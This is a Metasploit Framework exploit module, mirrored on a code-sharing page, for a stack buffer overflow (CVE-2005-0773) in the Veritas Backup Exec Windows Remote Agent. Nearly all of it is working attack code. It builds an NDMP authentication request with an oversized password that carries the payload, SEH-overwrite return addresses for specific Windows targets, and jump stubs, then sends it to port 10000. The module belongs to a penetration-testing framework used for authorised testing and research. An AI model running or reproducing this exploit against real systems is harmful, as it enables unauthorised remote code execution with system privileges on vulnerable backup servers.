Book a Demo!
CoCalc Logo Icon
StoreFeaturesDocsShareSupportNewsAboutPoliciesSign UpSign In
rapid7
GitHub Repository: rapid7/metasploit-framework
Path: blob/master/modules/exploits/windows/backupexec/remote_agent.rb
31923 views
1
##
2
# This module requires Metasploit: https://metasploit.com/download
3
# Current source: https://github.com/rapid7/metasploit-framework
4
##
5
6
class MetasploitModule < Msf::Exploit::Remote
7
Rank = GreatRanking
8
9
include Msf::Exploit::Remote::NDMP
10
11
def initialize(info = {})
12
super(
13
update_info(
14
info,
15
'Name' => 'Veritas Backup Exec Windows Remote Agent Overflow',
16
'Description' => %q{
17
This module exploits a stack buffer overflow in the Veritas
18
BackupExec Windows Agent software. This vulnerability occurs
19
when a client authentication request is received with type
20
'3' and a long password argument. Reliable execution is
21
obtained by abusing the stack buffer overflow to smash a SEH
22
pointer.
23
},
24
'Author' => [ 'hdm' ],
25
'License' => MSF_LICENSE,
26
'References' => [
27
[ 'CVE', '2005-0773'],
28
[ 'OSVDB', '17624'],
29
[ 'BID', '14022'],
30
[ 'URL', 'http://www.idefense.com/application/poi/display?id=272&type=vulnerabilities']
31
],
32
'Privileged' => true,
33
'DefaultOptions' => {
34
'EXITFUNC' => 'process'
35
},
36
'Payload' => {
37
'Space' => 1024,
38
'BadChars' => "\x00",
39
'StackAdjustment' => -3500
40
},
41
'Targets' => [
42
[
43
'Veritas BE 9.0/9.1/10.0 (All Windows)',
44
{
45
'Platform' => 'win',
46
'Rets' => [ 0x0140f8d5, 0x014261b0 ]
47
},
48
],
49
[
50
'Veritas BE 9.0/9.1/10.0 (Windows 2000)',
51
{
52
'Platform' => 'win',
53
'Rets' => [ 0x75022ac4, 0x75022ac4 ]
54
},
55
],
56
],
57
'DefaultTarget' => 0,
58
'DisclosureDate' => '2005-06-22',
59
'Notes' => {
60
'Reliability' => UNKNOWN_RELIABILITY,
61
'Stability' => UNKNOWN_STABILITY,
62
'SideEffects' => UNKNOWN_SIDE_EFFECTS
63
}
64
)
65
)
66
67
register_options(
68
[
69
Opt::RPORT(10000)
70
]
71
)
72
end
73
74
def check
75
info = ndmp_info
76
if (info and info['Version'])
77
vprint_status(" Vendor: #{info['Vendor']}")
78
vprint_status("Product: #{info['Product']}")
79
vprint_status("Version: #{info['Version']}")
80
81
if (info['Vendor'] =~ /VERITAS/i and info['Version'] =~ /^(4\.2|5\.1)$/)
82
return Exploit::CheckCode::Appears
83
end
84
end
85
return Exploit::CheckCode::Safe
86
end
87
88
def exploit
89
connect
90
91
print_status("Trying target #{target.name}...")
92
93
ndmp_recv
94
95
username = 'X' * 512
96
password = rand_text_alphanumeric(8192)
97
98
# Place our payload early in the request and jump backwards into it
99
password[3536 - payload.encoded.length, payload.encoded.length] = payload.encoded
100
101
# This offset is required for version 10.0
102
password[3536, 2] = "\xeb\x06"
103
password[3540, 4] = [ target['Rets'][1] ].pack('V')
104
password[3544, 5] = "\xe9" + [-1037].pack('V')
105
106
# This offset is required for version 9.0/9.1
107
password[4524, 2] = "\xeb\x06"
108
password[4528, 4] = [ target['Rets'][0] ].pack('V')
109
password[4532, 5] = "\xe9" + [-2025].pack('V')
110
111
# Create the authentication request
112
auth = [
113
1, # Sequence number
114
Time.now.to_i, # Current time
115
0, # Message type (request)
116
0x901, # Message name (connect_client_auth)
117
0, # Reply sequence number
118
0, # Error status
119
3 # Authentication type
120
].pack('NNNNNNN') +
121
[ username.length ].pack('N') + username +
122
[ password.length ].pack('N') + password +
123
[ 4 ].pack('N')
124
125
print_status('Sending authentication request...')
126
ndmp_send(auth)
127
128
# Attempt to read a reply (this should fail)
129
ndmp_recv
130
131
handler
132
disconnect
133
end
134
end
135
136